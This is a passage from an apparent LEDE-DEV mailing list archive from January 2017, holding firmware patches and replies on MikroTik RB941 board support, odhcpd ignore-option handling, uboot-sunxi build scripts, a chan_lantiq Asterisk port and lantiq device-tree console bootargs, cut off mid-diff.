+#define RB_SOFT_CFG_OFFSET      0x1f000
+#define RB_SOFT_CFG_SIZE        0x1000
+#define RB_ROOTFS_OFFSET        0x20000
+#define RB_ROOTFS_SIZE          0x9e0000
+#define RB_KERNEL_OFFSET        0xa00000
+#define RB_KERNEL_SIZE          MTDPART_SIZ_FULL
+
+void __init rb941_wlan_init(void)
+{
+    char *art_buf;
+    u8 wlan_mac[ETH_ALEN];
+
+    art_buf = rb_get_wlan_data();
+    if (art_buf == NULL)
+            return;
+
+    ath79_init_mac(wlan_mac, ath79_mac_base, 11);
+    ath79_register_wmac(art_buf + 0x1000, wlan_mac);
+
+    kfree(art_buf);
+}
+
+static struct mtd_partition rb941_spi_partitions[] = {
+    {
+            .name = "routerboot",
+            .offset = RB_ROUTERBOOT_OFFSET,
+            .mask_flags = MTD_WRITEABLE,
+            .size = RB_ROUTERBOOT_SIZE,
+    }, {
+            .name = "hard_config",
+            .offset = RB_HARD_CFG_OFFSET,
+            .size = RB_HARD_CFG_SIZE,
+            .mask_flags = MTD_WRITEABLE,
+    }, {
+            .name = "bios",
+            .offset = RB_BIOS_OFFSET,
+            .size = RB_BIOS_SIZE,
+            .mask_flags = MTD_WRITEABLE,
+    }, {
+            .name = "routerboot2",
+            .offset = RB_ROUTERBOOT2_OFFSET,
+            .size = RB_ROUTERBOOT2_SIZE,
+            .mask_flags = MTD_WRITEABLE,
+    }, {
+            .name = "soft_config",
+            .offset = RB_SOFT_CFG_OFFSET,
+            .size = RB_SOFT_CFG_SIZE,
+            .mask_flags = MTD_WRITEABLE,
+    }, {
+            .name = "rootfs",
+            .offset = RB_ROOTFS_OFFSET,
+            .size = RB_ROOTFS_SIZE,
+    }, {
+            .name = "kernel",
+            .offset = RB_KERNEL_OFFSET,
+            .size = RB_KERNEL_SIZE,
+    }
+};
+
+static struct flash_platform_data rb941_spi_flash_data = {
+    .parts          = rb941_spi_partitions,
+    .nr_parts       = ARRAY_SIZE(rb941_spi_partitions),
+};
+
+static struct gpio_led rb941_leds[] __initdata = {
+    {
+        .name = "rb:green:act",
+        .gpio = RB941_GPIO_LED_ACT,
+        .active_low = 1,
+    },
+};
+
+static struct gpio_keys_button rb941_gpio_keys[] __initdata = {
+    {
+        .desc = "Reset button",
+        .type = EV_KEY,
+        .code = KEY_RESTART,
+        .debounce_interval = RB941_KEYS_DEBOUNCE_INTERVAL,
+        .gpio = RB941_GPIO_BTN_RESET,
+        .active_low = 1,
+    },
+};
+
+static void __init rb941_setup(void)
+{
+    const struct rb_info *info;
+    //try to get rb_info data
+    info = rb_init_info((void *)(KSEG1ADDR(AR71XX_SPI_BASE)), 0x20000);
+    if (!info){
+        pr_err("%s: Can't get rb_info data from flash!\n", __func__);
+        //return -EINVAL; //Not critical ... continue!
+    }
+    ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_SW_ONLY_MODE);
+    ath79_register_m25p80(&rb941_spi_flash_data);
+    ath79_register_mdio(0, 0x0);
+
+    /* WAN. We have no WAN. Only LAN. */
+    /*ath79_switch_data.phy4_mii_en = 1;
+    ath79_switch_data.phy_poll_mask = BIT(4);
+    ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_MII;
+    ath79_eth0_data.phy_mask = BIT(4);
+    ath79_init_mac(ath79_eth0_data.mac_addr, ath79_mac_base, 0);
+    ath79_register_eth(0); */
+
+    /* LAN */
+    ath79_init_mac(ath79_eth1_data.mac_addr, ath79_mac_base, 0);
+    ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_GMII;
+    ath79_register_eth(1);
+
+    //ath79_register_usb();
+
+    rb941_wlan_init();
+
+    ath79_register_leds_gpio(-1, ARRAY_SIZE(rb941_leds), rb941_leds);
+    ath79_register_gpio_keys_polled(-1, RB941_KEYS_POLL_INTERVAL,
+                                    ARRAY_SIZE(rb941_gpio_keys),
+                                    rb941_gpio_keys);
+}
+
+MIPS_MACHINE(ATH79_MACH_RB_941, "H951L", "MikroTik RouterBOARD 941-2nD", rb941_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index d18a71c..f64031a 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -162,6 +162,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_751,			/* MikroTik RouterBOARD 751 */
 	ATH79_MACH_RB_751G,			/* Mikrotik RouterBOARD 751G */
 	ATH79_MACH_RB_922GS,			/* Mikrotik RouterBOARD 911/922GS boards */
+	ATH79_MACH_RB_941,			/* MikroTik RouterBOARD 941-2nD */
 	ATH79_MACH_RB_951G,			/* Mikrotik RouterBOARD 951G */
 	ATH79_MACH_RB_951U,			/* Mikrotik RouterBOARD 951Ui-2HnD */
 	ATH79_MACH_RB_SXTLITE2ND,		/* Mikrotik RouterBOARD SXT Lite 2nD */
diff --git a/target/linux/ar71xx/image/legacy.mk b/target/linux/ar71xx/image/legacy.mk
index 3259016..b64d79e 100644
--- a/target/linux/ar71xx/image/legacy.mk
+++ b/target/linux/ar71xx/image/legacy.mk
@@ -847,6 +847,29 @@ define Image/Build/Zcomax
 	fi
 endef
 
+ifeq ($(SUBTARGET),mikrotik)
+
+define Device/rb-nor-flash-16M
+  DEVICE_PROFILE := MikrotikDefault MikrotikNorFlash
+  BLOCKSIZE := 64k
+  IMAGE_SIZE := 16000k
+  KERNEL2MINOR_ARGS := -s 1024 -e
+  LOADER_TYPE := elf
+  KERNEL_INSTALL := 1
+  KERNEL := kernel-bin | lzma | loader-kernel | kernel2minor $$(KERNEL2MINOR_ARGS)
+  KERNEL_INITRAMFS := kernel-bin | lzma | loader-kernel
+  IMAGES := sysupgrade.bin
+  IMAGE/sysupgrade.bin = append-rootfs | pad-rootfs | combined-image | check-size $$$$(IMAGE_SIZE)
+endef
+
+define Device/rb-941-2nd
+$(Device/rb-nor-flash-16M)
+  BOARDNAME:= rb-941-2nd
+endef
+TARGET_DEVICES += rb-941-2nd
+
+endif # ifeq ($(SUBTARGET),mikrotik)
+
 
 # $(1): template name to be defined.
 # $(2): squashfs suffix to be used.
diff --git a/target/linux/ar71xx/mikrotik/profiles/03-norflash.mk b/target/linux/ar71xx/mikrotik/profiles/03-norflash.mk
new file mode 100644
index 0000000..aa5c891
--- /dev/null
+++ b/target/linux/ar71xx/mikrotik/profiles/03-norflash.mk
@@ -0,0 +1,16 @@
+#
+# Copyright (C) 2009 OpenWrt.org
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+define Profile/MikrotikNorFlash
+	NAME:=NorFlash Profile
+	PACKAGES:=kmod-ath9k
+endef
+
+define Profile/MikrotikNorFlash/Description
+	Package set optimized for the Mikrotik's boards with single NOR flash(16MB or more).
+endef
+$(eval $(call Profile,MikrotikNorFlash))
-- 
2.1.4



From stijn at linux-ipv6.be  Wed Jan  4 13:12:49 2017
From: stijn at linux-ipv6.be (Stijn Tintel)
Date: Wed, 4 Jan 2017 22:12:49 +0100
Subject: [LEDE-DEV] [RFC PATCH odhcpd] config: respect ignore uci option
In-Reply-To: <20170103130908.16868-1-jo@mein.io>
References: <20170103130908.16868-1-jo@mein.io>
Message-ID: <412c5489-1df2-5688-a198-4a24703a60df@linux-ipv6.be>

On 03-01-17 14:09, Jo-Philipp Wich wrote:
> The odhcpd documentation currently implies that "option ignore 1" in a section
> of type "dhcp" will disable any services on the referenced interface while the
> code actually ignores the setting when initializing referenced interfaces.
>
> This commonly leads to situations where users think that "option disabled"
> will prevent any server activity on a given interface while in reality odhcpd
> effectively acts as rogue DHCPv6 server in its default configuration.
>
> To fully inhibit any activity, one has to specify both "option ignore 1" as
> well as "option ra disabled", "option ndp disabled" and
> "option dhcpv6 disabled" which is highly counter intuitive at best.
>
> A previous commit (5f425ed Respect interface "ignore" settings as documented.)
> attempted to address the problem by observing the value of i->ignore instead
> of unconditionally enabling all protocols but broke the ability to use DHCPv6
> relay mode while having DHCPv4 disabled.
>
> This patch changes ...
>
>  - the enabling of services on an interface to use the value of the ignore
>    option as default choice instead of hardcoding "true"
>
>  - the options "ra", "ndp", "dhcpv4" and "dhcpv6" to take precedence over the
>    default "ignore" state to allow selectively enabling services on ignored
>    interfaces
>
>  - the README to clarify the fact that "ra", "ndp", "dhcpv4" and "dhcpv6" can
>    now override "option ignore"
>
> Signed-off-by: Jo-Philipp Wich <jo at mein.io>
Tested-by: Stijn Tintel <stijn at linux-ipv6.be>


From yszhou4tech at gmail.com  Wed Jan  4 08:27:56 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Thu,  5 Jan 2017 00:27:56 +0800
Subject: [LEDE-DEV] [PATCH] uboot-sunxi: fixup making uboot-xxx-boot.scr
Message-ID: <1483547276-5222-1-git-send-email-yszhou4tech@gmail.com>

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
This patch intends to fixup the commit rewriting uboot-sunxi: "uboot-sunxi: add
uboot-sunxi-all for selecting all other variants"

 package/boot/uboot-sunxi/Makefile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/package/boot/uboot-sunxi/Makefile b/package/boot/uboot-sunxi/Makefile
index d18520d..cb9935b 100644
--- a/package/boot/uboot-sunxi/Makefile
+++ b/package/boot/uboot-sunxi/Makefile
@@ -35,7 +35,7 @@ endef
 define Package/uboot-sunxi-$(1)/install
 	$(CP) $(PKG_BUILD_DIR)/u-boot-sunxi-with-spl.bin \
 		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-u-boot-with-spl.bin
-	mkimage -C none -A arm -T script -d uEnv-$(if $(filter-out pangolin,$(1)),pangolin,default).txt \
+	mkimage -C none -A arm -T script -d uEnv-$(if $(3),$(3),default).txt \
 		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-boot.scr
 endef
 
@@ -59,7 +59,7 @@ $(eval $(call Package/uboot/template,Linksprite_pcDuino,Linksprite pcDuino))
 $(eval $(call Package/uboot/template,Linksprite_pcDuino3,Linksprite pcDuino3))
 $(eval $(call Package/uboot/template,Lamobo_R1,Lamobo R1))
 $(eval $(call Package/uboot/template,orangepi_plus,Orange Pi Plus (H3)))
-$(eval $(call Package/uboot/template,pangolin,Theobroma A31-yQ7 devboard))
+$(eval $(call Package/uboot/template,pangolin,Theobroma A31-yQ7 devboard,pangolin))
 
 define Package/uboot-sunxi-all
   SECTION:=boot
-- 
2.6.4



From stefan.koch10 at gmail.com  Wed Jan  4 08:27:11 2017
From: stefan.koch10 at gmail.com (Stefan Koch)
Date: Wed, 4 Jan 2017 17:27:11 +0100
Subject: [LEDE-DEV] Finished porting of chan_lantiq to asterisk11 and
 asterisk13
In-Reply-To: <CAKdnbx4pRcV8_G-n9UR7GWpQX56RMC4h5pspXf_3bLa8w-Tp9g@mail.gmail.com>
References: <3B60197F-37D6-4D06-8B68-BE47B6435FC6@kresin.me>
 <447d11a7-abbf-e3fb-b187-b7dda8ed31cd@gmail.com>
 <CAKdnbx7-ne4VLLvhxcuF5eq9yRG49ibu9pMC1o9QVcMkVmrPqQ@mail.gmail.com>
 <35b21afe-89c1-d05e-c0e6-bd6a9edd7c5a@gmail.com>
 <CAKdnbx5AwG1JzeFiK9apaDoD3Efoo_0pkB9-HCBuvKjwusa1WQ@mail.gmail.com>
 <CAKdnbx695bHa-Qbzn0jY=HCHS2LTPJzXnJd5A3FS5DX52_33=Q@mail.gmail.com>
 <25299a41-dbdb-2286-c891-a6dc0b2d9323@gmail.com>
 <CAKdnbx6nakeu1-ZUdq4M5xYX33TLz3C0DVFOZBtH9YPT80rvhg@mail.gmail.com>
 <CAKdnbx7cof6yqDprzSHtWoFKiLY6EPFFomeqDDQmfHsoxBmX+A@mail.gmail.com>
 <79c6ceab-ddd7-3f75-1097-412ef3abdaef@gmail.com>
 <CAKdnbx7iDbGyLZ0PfJopFk_nvmTVgTeeK2Z6mXyFcj_YCwYfAA@mail.gmail.com>
 <d58e63ae-3bef-4799-490e-a6282ecaae40@gmail.com>
 <CAKdnbx4=sYKF9mfXCWu-gjwCJ86t6AuJm6bnXLcHAnZnrSz3dg@mail.gmail.com>
 <CAKdnbx6bVuNHyK4oPBOGUy=xOnMToK0YnFYKODEjZ91ia4eO4w@mail.gmail.com>
 <2289c9c5-26c3-8fcf-9b7c-75f897938285@gmail.com>
 <CAKdnbx4pRcV8_G-n9UR7GWpQX56RMC4h5pspXf_3bLa8w-Tp9g@mail.gmail.com>
Message-ID: <bbf424f9-6041-ba93-d2bb-0fccc0051681@gmail.com>

Hi

I have finished the chan_lantiq porting from asterisk 1.8 to asterisk 11 
and asterisk 13.

GIT-Repository:
https://github.com/kochstefan/asterisk_channel_lantiq.git

See branches:
asterisk-1_8 (asterisk 1.8 needs glibc)
asterisk-11 (asterisk 11 needs musl)
asterisk-13 (asterisk 13 needs musl or glibc)

Master's latest commit is compatible with asterisk 13.

To apply it to the telephony feed, try the patches within the following 
archive:
https://drive.google.com/file/d/0B9Z_KppE2R8sdnhIcFV6dEpCbUE

I have successfully tested the chan_lantiq for asterisk 1.8, 11 and 13 
on a vr9 based box.

To include this into the telephony feed:
Should I create a pull request from the patches above?
(Take a copy from chan_lantic.c into telephony feed)

Or should I change it first that the GIT repository is directly linked?
(Then the sources would automatically considered if changed, without a 
copy from chan_lantiq.c)

Kernel driver changes are already made for vr9 based boards.
If the board specific dts file is not already updated it needs the 
following addition to the command line:
mem=[TOTALMEMSIZE-2M] vpe1_load_addr=ADDRESS vpe1_mem=2M maxvpes=1 maxtcs=1

See:
https://github.com/lede-project/source/pull/440

XWAY based boards shouldn't need a drivers change.

Best regards

Stefan



From hauke at hauke-m.de  Wed Jan  4 14:11:26 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Wed,  4 Jan 2017 23:11:26 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: fix console print
Message-ID: <20170104221126.29444-1-hauke@hauke-m.de>

The boot loader of many boards provides a kernel boot argument with a
broken console parameter to the kernel. This will be taken before the
stdout-path defined in device tree and the serial will not work on this
board. Multiple boards are affected by this problem, so revert this
patch for all boards. Later we can remove the boot arguments from the
device tree again, after the individual board was checked to work.

This partly reverts this commit:
commit 4995c64857a09c4cc92238ba0bd52cdb06c4c581
Author: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
Date:   Sun Dec 11 21:55:00 2016 +0100

    lantiq: specify console using stdout-path instead of cmdline argument

Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
---
 target/linux/lantiq/dts/ACMP252.dts       | 4 ++++
 target/linux/lantiq/dts/ARV4510PW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV4518PWR01.dtsi | 4 ++++
 target/linux/lantiq/dts/ARV4519PW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV4520PW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV452CQW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV7510PW22.dts   | 4 ++++
 target/linux/lantiq/dts/ARV7518PW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV7519PW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV7519RW22.dts   | 4 ++++
 target/linux/lantiq/dts/ARV7525PW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV752DPW.dts     | 4 ++++
 target/linux/lantiq/dts/ARV752DPW22.dts   | 4 ++++
 target/linux/lantiq/dts/BTHOMEHUBV2B.dts  | 4 ++++
 target/linux/lantiq/dts/BTHOMEHUBV3A.dts  | 4 ++++
 target/linux/lantiq/dts/BTHOMEHUBV5A.dts  | 4 ++++
 target/linux/lantiq/dts/DGN1000B.dts      | 4 ++++
 target/linux/lantiq/dts/DGN3500.dtsi      | 2 +-
 target/linux/lantiq/dts/EASY50712.dts     | 4 ++++
 target/linux/lantiq/dts/EASY50810.dts     | 4 ++++
 target/linux/lantiq/dts/EASY80920.dtsi    | 4 ++++
 target/linux/lantiq/dts/FRITZ3370.dts     | 2 +-
 target/linux/lantiq/dts/FRITZ7320.dts     | 4 ++++
 target/linux/lantiq/dts/FRITZ7360SL.dts   | 4 ++++
 target/linux/lantiq/dts/GIGASX76X.dts     | 4 ++++
 target/linux/lantiq/dts/H201L.dts         | 4 ++++
 target/linux/lantiq/dts/P2601HNFX.dts     | 4 ++++
 target/linux/lantiq/dts/P2812HNUFX.dtsi   | 4 ++++
 target/linux/lantiq/dts/TDW89X0.dtsi      | 4 ++++
 target/linux/lantiq/dts/VG3503J.dts       | 4 ++++
 target/linux/lantiq/dts/VGV7510KW22.dtsi  | 2 +-
 target/linux/lantiq/dts/VGV7519.dtsi      | 2 +-
 target/linux/lantiq/dts/VR200v.dts        | 4 ++++
 target/linux/lantiq/dts/WBMR.dts          | 4 ++++
 target/linux/lantiq/dts/WBMR300.dts       | 4 ++++
 35 files changed, 128 insertions(+), 4 deletions(-)

diff --git a/target/linux/lantiq/dts/ACMP252.dts b/target/linux/lantiq/dts/ACMP252.dts
index 50c011acaa..a94014b0f9 100644
--- a/target/linux/lantiq/dts/ACMP252.dts
+++ b/target/linux/lantiq/dts/ACMP252.dts
@@ -5,6 +5,10 @@
 / {
 	model = "ACMP252 - AudioCodes MediaPack MP-252";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	memory at 0 {
 		reg = <0x0 0x4000000>;
 	};
diff --git a/target/linux/lantiq/dts/ARV4510PW.dts b/target/linux/lantiq/dts/ARV4510PW.dts
index 58507672a6..17609e25ba 100644
--- a/target/linux/lantiq/dts/ARV4510PW.dts
+++ b/target/linux/lantiq/dts/ARV4510PW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV4510PW - Wippies, Elisa";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power2;
diff --git a/target/linux/lantiq/dts/ARV4518PWR01.dtsi b/target/linux/lantiq/dts/ARV4518PWR01.dtsi
index c527147e91..8e712bfec6 100644
--- a/target/linux/lantiq/dts/ARV4518PWR01.dtsi
+++ b/target/linux/lantiq/dts/ARV4518PWR01.dtsi
@@ -3,6 +3,10 @@
 #include <dt-bindings/input/input.h>
 
 / {
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power;
diff --git a/target/linux/lantiq/dts/ARV4519PW.dts b/target/linux/lantiq/dts/ARV4519PW.dts
index fe0f9a7ac4..86c0d48763 100644
--- a/target/linux/lantiq/dts/ARV4519PW.dts
+++ b/target/linux/lantiq/dts/ARV4519PW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV4519PW - Vodafone Netfaster IAD 2, Pirelli P.RG A4201G";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/ARV4520PW.dts b/target/linux/lantiq/dts/ARV4520PW.dts
index 2ad3a8a080..030e316c87 100644
--- a/target/linux/lantiq/dts/ARV4520PW.dts
+++ b/target/linux/lantiq/dts/ARV4520PW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV4520PW - Easybox 800, WAV-281";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_blue;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/ARV452CQW.dts b/target/linux/lantiq/dts/ARV452CQW.dts
index 8d47b3b7db..6bc0796f9e 100644
--- a/target/linux/lantiq/dts/ARV452CQW.dts
+++ b/target/linux/lantiq/dts/ARV452CQW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV452CQW - Arcor 801";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_blue;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/ARV7510PW22.dts b/target/linux/lantiq/dts/ARV7510PW22.dts
index d47567fe93..53ff3b7e94 100644
--- a/target/linux/lantiq/dts/ARV7510PW22.dts
+++ b/target/linux/lantiq/dts/ARV7510PW22.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV7510PW22 - Astoria Networks";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power;
diff --git a/target/linux/lantiq/dts/ARV7518PW.dts b/target/linux/lantiq/dts/ARV7518PW.dts
index b7e2295b8c..a054437258 100644
--- a/target/linux/lantiq/dts/ARV7518PW.dts
+++ b/target/linux/lantiq/dts/ARV7518PW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV7518PW - Astoria Networks";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/ARV7519PW.dts b/target/linux/lantiq/dts/ARV7519PW.dts
index baa1e26364..cc6786833f 100644
--- a/target/linux/lantiq/dts/ARV7519PW.dts
+++ b/target/linux/lantiq/dts/ARV7519PW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV7519PW - Astoria Networks";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power2;
diff --git a/target/linux/lantiq/dts/ARV7519RW22.dts b/target/linux/lantiq/dts/ARV7519RW22.dts
index 3cc91df948..14be6f2ca7 100644
--- a/target/linux/lantiq/dts/ARV7519RW22.dts
+++ b/target/linux/lantiq/dts/ARV7519RW22.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV7519RW22 - Orange Livebox 2.1";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_green;
diff --git a/target/linux/lantiq/dts/ARV7525PW.dts b/target/linux/lantiq/dts/ARV7525PW.dts
index 849a7b56be..7d643be2fd 100644
--- a/target/linux/lantiq/dts/ARV7525PW.dts
+++ b/target/linux/lantiq/dts/ARV7525PW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV7525PW - Speedport W303V Typ A";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/ARV752DPW.dts b/target/linux/lantiq/dts/ARV752DPW.dts
index d6dc99bd48..b68a17cd1b 100644
--- a/target/linux/lantiq/dts/ARV752DPW.dts
+++ b/target/linux/lantiq/dts/ARV752DPW.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV752DPW - Arcor 802";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_red;
 		led-failsafe = &power_blue;
diff --git a/target/linux/lantiq/dts/ARV752DPW22.dts b/target/linux/lantiq/dts/ARV752DPW22.dts
index 7636b1ba6f..225dfaaaac 100644
--- a/target/linux/lantiq/dts/ARV752DPW22.dts
+++ b/target/linux/lantiq/dts/ARV752DPW22.dts
@@ -7,6 +7,10 @@
 / {
 	model = "ARV752DPW22 - Arcor 803";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_red;
 		led-failsafe = &power_blue;
diff --git a/target/linux/lantiq/dts/BTHOMEHUBV2B.dts b/target/linux/lantiq/dts/BTHOMEHUBV2B.dts
index 69f4448bc1..751368bc74 100644
--- a/target/linux/lantiq/dts/BTHOMEHUBV2B.dts
+++ b/target/linux/lantiq/dts/BTHOMEHUBV2B.dts
@@ -7,6 +7,10 @@
 / {
 	model = "BTHOMEHUBV2B - BT Home Hub 2B";  /* SoC: Lantiq Danube-S PSB 50712 @ 333MHz V1.3/1.5 */
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_orange;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/BTHOMEHUBV3A.dts b/target/linux/lantiq/dts/BTHOMEHUBV3A.dts
index 2cd098905d..a909632022 100644
--- a/target/linux/lantiq/dts/BTHOMEHUBV3A.dts
+++ b/target/linux/lantiq/dts/BTHOMEHUBV3A.dts
@@ -7,6 +7,10 @@
 / {
 	model = "BTHOMEHUBV3A - BT Home Hub 3A";  /* SoC: Lantiq ar9 @ 333MHz */
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_orange;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/BTHOMEHUBV5A.dts b/target/linux/lantiq/dts/BTHOMEHUBV5A.dts
index 2d201ffa52..7f19e5291f 100644
--- a/target/linux/lantiq/dts/BTHOMEHUBV5A.dts
+++ b/target/linux/lantiq/dts/BTHOMEHUBV5A.dts
@@ -7,6 +7,10 @@
 / {
 	model = "BTHOMEHUBV5A - BT Home Hub 5A";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/DGN1000B.dts b/target/linux/lantiq/dts/DGN1000B.dts
index 5999bdc310..558658292e 100644
--- a/target/linux/lantiq/dts/DGN1000B.dts
+++ b/target/linux/lantiq/dts/DGN1000B.dts
@@ -7,6 +7,10 @@
 / {
 	model = "DGN1000B - Netgear DGN1000B";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power;
diff --git a/target/linux/lantiq/dts/DGN3500.dtsi b/target/linux/lantiq/dts/DGN3500.dtsi
index 52cd895b48..5528d5994b 100644
--- a/target/linux/lantiq/dts/DGN3500.dtsi
+++ b/target/linux/lantiq/dts/DGN3500.dtsi
@@ -4,7 +4,7 @@
 
 / {
 	chosen {
-		bootargs = "root=";
+		bootargs = "root= console=ttyLTQ0,115200";
 	};
 
 	aliases {
diff --git a/target/linux/lantiq/dts/EASY50712.dts b/target/linux/lantiq/dts/EASY50712.dts
index b1409b039b..ec3516ca8c 100644
--- a/target/linux/lantiq/dts/EASY50712.dts
+++ b/target/linux/lantiq/dts/EASY50712.dts
@@ -5,6 +5,10 @@
 / {
 	model = "EASY50712 - Intel EASY50712 Nand";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	memory at 0 {
 		reg = <0x0 0x2000000>;
 	};
diff --git a/target/linux/lantiq/dts/EASY50810.dts b/target/linux/lantiq/dts/EASY50810.dts
index edba7a5d55..7c274a15a6 100644
--- a/target/linux/lantiq/dts/EASY50810.dts
+++ b/target/linux/lantiq/dts/EASY50810.dts
@@ -3,6 +3,10 @@
 #include "ar9.dtsi"
 
 / {
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	memory at 0 {
 		reg = <0x0 0x2000000>;
 	};
diff --git a/target/linux/lantiq/dts/EASY80920.dtsi b/target/linux/lantiq/dts/EASY80920.dtsi
index 8e15ca89a2..aa646c8746 100644
--- a/target/linux/lantiq/dts/EASY80920.dtsi
+++ b/target/linux/lantiq/dts/EASY80920.dtsi
@@ -3,6 +3,10 @@
 #include <dt-bindings/input/input.h>
 
 / {
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power;
diff --git a/target/linux/lantiq/dts/FRITZ3370.dts b/target/linux/lantiq/dts/FRITZ3370.dts
index 1b4b28ca95..1e2e90ca1b 100644
--- a/target/linux/lantiq/dts/FRITZ3370.dts
+++ b/target/linux/lantiq/dts/FRITZ3370.dts
@@ -8,7 +8,7 @@
 	model = "FRITZ3370 - Fritz!Box WLAN 3370";
 
 	chosen {
-		bootargs = "ubi.mtd=1,512 root=/dev/mtdblock9";
+		bootargs = "console=ttyLTQ0,115200 ubi.mtd=1,512 root=/dev/mtdblock9";
 	};
 
 	aliases {
diff --git a/target/linux/lantiq/dts/FRITZ7320.dts b/target/linux/lantiq/dts/FRITZ7320.dts
index e31981e3f4..1d3e02f9aa 100644
--- a/target/linux/lantiq/dts/FRITZ7320.dts
+++ b/target/linux/lantiq/dts/FRITZ7320.dts
@@ -7,6 +7,10 @@
 / {
 	model = "FRITZ7320 - 1&1 HomeServer";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power;
diff --git a/target/linux/lantiq/dts/FRITZ7360SL.dts b/target/linux/lantiq/dts/FRITZ7360SL.dts
index 8ecc8610ef..b4b12246ce 100644
--- a/target/linux/lantiq/dts/FRITZ7360SL.dts
+++ b/target/linux/lantiq/dts/FRITZ7360SL.dts
@@ -7,6 +7,10 @@
 / {
 	model = "FRITZ7360SL - 1&1 HomeServer";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/GIGASX76X.dts b/target/linux/lantiq/dts/GIGASX76X.dts
index 43471b31b9..f5707e9c9b 100644
--- a/target/linux/lantiq/dts/GIGASX76X.dts
+++ b/target/linux/lantiq/dts/GIGASX76X.dts
@@ -7,6 +7,10 @@
 / {
 	model = "GIGASX76X - Gigaset SX761,SX762,SX763";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	memory at 0 {
 		reg = <0x0 0x2000000>;
 	};
diff --git a/target/linux/lantiq/dts/H201L.dts b/target/linux/lantiq/dts/H201L.dts
index a080b27471..a24d7590e4 100644
--- a/target/linux/lantiq/dts/H201L.dts
